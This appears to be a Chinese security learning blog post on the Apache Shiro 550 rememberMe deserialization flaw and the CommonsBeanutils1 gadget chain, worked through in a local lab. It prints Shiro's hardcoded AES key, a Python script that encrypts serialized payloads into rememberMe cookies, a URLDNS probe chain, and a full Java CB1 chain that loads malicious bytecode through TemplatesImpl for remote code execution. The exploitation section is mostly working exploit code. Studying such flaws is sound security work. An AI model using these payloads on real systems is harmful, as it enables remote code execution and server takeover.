Java反序列化Shiro篇之Shiro550与CB1链

ShiroのCommonBeanUtils利用链 - Boogiepop Doesn’t Laugh
Java反序列化Shiro篇01-Shiro550流程分析 | Drunkbaby’s Blog

前言

没有路线,网上的路线学起来太难受了,这里看到哪里学到哪里吧。

环境配置

下载这个
image.png
然后Shiro项目直接用P神配置好的,这里直接clone下来即可。

JavaThings/shirodemo at master · phith0n/JavaThings

然后使用idea配置一下安装好的Tomcat环境:
image.png
项目结构已经配置好了:
image.png
修改运行配置,按照下面要求修改即可:
image.png
image.png
保存运行后可能出现idea无法访问,但是不要紧,直接用浏览器访问即可:
localhost:8080/shirodemo_war/login.jsp
这里记得将localhost更换为本地ipv4的IP(ipconfig里面那个),否则抓不到包。
image.png
账号密码是rootsecret

分析

漏洞点

Shiro550 在我之前hvv的时候就遇到了,如果勾选RememberMe字段,登录成功后会有rememberMe=deleteMe字段。检测是不是shiro的指纹就是检测返回包中是否有这个字段。
而这个字段是可以执行反序列化操作的,从而可以getshell
image.png

解密分析

CookieRememberMeManager中我们可以注意到getRememberedSerializedIdentity这个方法:
image.png
先判断是不是http协议,然后获取Cookie参数。
image.png
然后判断非空,传回base64解码值。
然后找找谁调用了这个方法:(ctrl + shift + alt + F7
image.png
记得使用之前要勾选自动下载源代码等数据,否则搜索不到:
image.png
image.png
AbstractRememberMeManager这个类里面使用了getRememberedSerializedIdentity
注释说的:

通过首先获取所记忆的序列化字节数组来实现接口方法。然后对其进行转换,并返回重新构成的 PrincipalCollection。如果无法获取记忆的 principal,则返回 null。如果出现任何异常,则会调用 onRememberedPrincipalFailure(RuntimeException, SubjectContext) 方法,以便进行必要的后处理(例如,为安全起见,立即删除任何先前记住的值)。

image.png
说实话没看懂,但是这里把getRememberedSerializedIdentity返回的RememberMe里面的base64解密过后的参数赋值给bytes,然后通过convertBytesToPrincipals方法赋值给PrincipalCollection格式的principals
convertBytesToPrincipals是一个解密方法:
image.png
最重要的这里使用了deserialize反序列化方法,我们一个一个看:

decrypt方法

image.png
构建服务、获取密钥、解密,很标准的流程,容易理解。
这里看看密钥获取方法getDecryptionCipherKey
image.png
返回一个变量,这个变量仅仅被两个方法使用了,一个是这个一个是:setDecryptionCipherKey
image.png
image.png
image.png
然后是终于到了一个常量处了:
image.png
image.png
也就是说,Shiro把密钥硬编码写在了代码里。
密钥(base64解密之前):kPH+bIxk5D2deZiIxcaaaA==

deserialize方法

回到刚才的位置,我们继续看deserialize方法。
image.png
再进去是个接口,看看谁实现了这个接口:
image.png
DefaultSerializer中实现了这个接口,并调用了readObject方法
image.png

加密流程

分析完解密后,我们看看加密流程。看了网上文档说用断点调试:
断在 AbstractRememberMeManageronSuccessfulLogin方法下:
image.png
测试登录一下:
image.png
isRememberMe(token)判断,进入rememberIdentity方法。
这里记录了用户名:
image.png
然后再返回rememberIdentity(这种方法重写方法来处理一个流程的写法确实挺有趣)
image.png
进入convertPrincipalsToBytes
image.png
和之前的convertBytesToPrincipals类似。只不过是一个是加密,一个是解密;一个是序列化,一个是反序列化。
image.png
image.png
再进encrypt
image.png
他们说一眼AES,但是我怎么没看出来🤔。
然后就是rememberSerializedIdentity的流程,这里不再重复了。
image.png

漏洞利用

需要先准备aes加密脚本:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
import base64
import uuid
from Crypto.Cipher import AES


def aes_enc(data):
BS = AES.block_size
pad = lambda s: s + ((BS - len(s) % BS) * chr(BS - len(s) % BS)).encode()
key = "kPH+bIxk5D2deZiIxcaaaA=="
mode = AES.MODE_CBC
iv = uuid.uuid4().bytes
encryptor = AES.new(base64.b64decode(key), mode, iv)
ciphertext = base64.b64encode(iv + encryptor.encrypt(pad(data)))
return ciphertext


def aes_dec(enc_data):
enc_data = base64.b64decode(enc_data)
unpad = lambda s: s[:-s[-1]]
key = "kPH+bIxk5D2deZiIxcaaaA=="
mode = AES.MODE_CBC
iv = enc_data[:16]
encryptor = AES.new(base64.b64decode(key), mode, iv)
plaintext = encryptor.decrypt(enc_data[16:])
plaintext = unpad(plaintext)
return plaintext


if __name__ == "__main__":
filename = r"D:\Workstation\CodeWorkSpace\Java\JavaSec\Deserialization\CB1Test\secret.bin"
with open(filename, 'rb') as f:
data = f.read()
print(aes_enc(data))

URLDNS链

用这个来测试是否漏洞。
这是以前写的URLDNS链子,这里直接用了:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
import java.io.*;
import java.lang.reflect.*;
import java.net.URL;
import java.util.Base64;
import java.util.HashMap;

public class URLDNS {
// * 记得去掉后面的/
static String tarURL = "http://test";

public static void serialize(Object obj) throws IOException{
ObjectOutputStream objectOutputStream = new ObjectOutputStream(new FileOutputStream("ser.bin"));
objectOutputStream.writeObject(obj);
}

public static void main(String[] args) throws Exception{
HashMap<URL, Integer> hashMap = new HashMap<URL, Integer>();
// * 正常使用这个会导致开始的时候访问一次,让这里不要发起请求
// * 如果hashCode已经是-1了就不会发起请求
URL url = new URL(tarURL);
Class c = url.getClass();
Field hashCode = c.getDeclaredField("hashCode");
hashCode.setAccessible(true);
// 随便赋值一个不是-1就行
hashCode.set(url, 1);
hashMap.put(url, 1);
// * 在这里将hashCode改回-1
hashCode.set(url, -1);
serialize(hashMap);
}
}

class Deserialize {
static String filename = "ser.bin";
public static Object deserialize(String filename) throws IOException, ClassNotFoundException {
ObjectInputStream objectInputStream = new ObjectInputStream(new FileInputStream(filename));
Object obj = objectInputStream.readObject();
return obj;
}

public static void main(String[] args) throws IOException, ClassNotFoundException {
deserialize(filename);
}
}

用yakit生成个dnslog链接,然后生成ser.bin再用脚本aes加密,注意使用RememberMe时需要删掉JSESSIONID,因为存在JSESSIONID时会忽略RememberMe
image.png
image.png
测试成功。

CB1链

准备依赖

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
<dependencies>
<dependency>
<groupId>org.apache.shiro</groupId>
<artifactId>shiro-core</artifactId>
<version>1.2.4</version>
</dependency>

<dependency>
<groupId>org.javassist</groupId>
<artifactId>javassist</artifactId>
<version>3.27.0-GA</version>
</dependency>

<dependency>
<groupId>commons-collections</groupId>
<artifactId>commons-collections</artifactId>
<version>3.2.1</version>
</dependency>
<dependency>
<groupId>commons-logging</groupId>
<artifactId>commons-logging</artifactId>
<version>1.1.1</version>
</dependency>
</dependencies>

构建

commons-beanutils链本身是依赖于commons-collections,但是在shiro中commons-collections并不全。所以需要借助commons-beanutils来利用。
image.png
调用了PropertyUtils.getProperty方法。
之前的优先队列类里面的就是使用的compare方法,因此这里可以构造来实现一个新的链子。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
package com.natro92;

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import javassist.ClassPool;
import org.apache.commons.beanutils.BeanComparator;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.InstantiateTransformer;

import javax.xml.transform.Templates;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.PriorityQueue;

public class CB1Test {
public static void main(String[] args) throws Exception {
// * 执行代码
TemplatesImpl templates = new TemplatesImpl();
setFieldValue(templates, "_name", "Natro92");
byte[] code = Files.readAllBytes(Paths.get("D:\\Workstation\\CodeWorkSpace\\Java\\JavaSec\\Deserialization\\CommonCollections\\cc4Test\\Evil250546845304900.class"));
byte[][] codes = {code};
setFieldValue(templates, "_bytecodes", codes);
setFieldValue(templates, "_tfactory", new TransformerFactoryImpl());

BeanComparator beanComparator = new BeanComparator();
PriorityQueue<Object> priorityQueue = new PriorityQueue<Object>(2, beanComparator);
priorityQueue.add(1);
priorityQueue.add(2);

setFieldValue(beanComparator, "property", "outputProperties");
setFieldValue(priorityQueue, "queue", new Object[]{templates, templates});

serialize(priorityQueue);
deserialize("secret.bin");
}

// * 反射
public static void setFieldValue(Object object, String fieldName, Object value) throws Exception {
Class<? extends Object> _class = object.getClass();
Field declaredField = _class.getDeclaredField(fieldName);
declaredField.setAccessible(true);
declaredField.set(object, value);
}

// * 序列化
public static void serialize(Object object) throws Exception {
ObjectOutputStream objectOutputStream = new ObjectOutputStream(Files.newOutputStream(Paths.get("secret.bin")));
objectOutputStream.writeObject(object);
}

// * 反序列化
public static Object deserialize(String fileName) throws Exception {
ObjectInputStream objectInputStream = new ObjectInputStream(Files.newInputStream(Paths.get(fileName)));
return objectInputStream.readObject();
}
}

我们调试一轮看看,再熟悉一下流程:
readObject处断点:
image.png
image.png
heapify再到 siftDown
x是恶意TemplatesImpl,进去
image.png
然后是comparactorcompare
image.png
然后到BeanComparatorcompare再到PropertyUtilsgetProperty
image.png
调用任意get,再就是TemplatesImpl链子了:
image.png
再到newTransformergetTransletInstance

使用

注意,可能打不通的原因是因为cb的版本不同。
所以直接用shiro的依赖就好了。
image.png

后记

还是不太熟,记不来顺序,但明显好多了,菜就多练。

image.png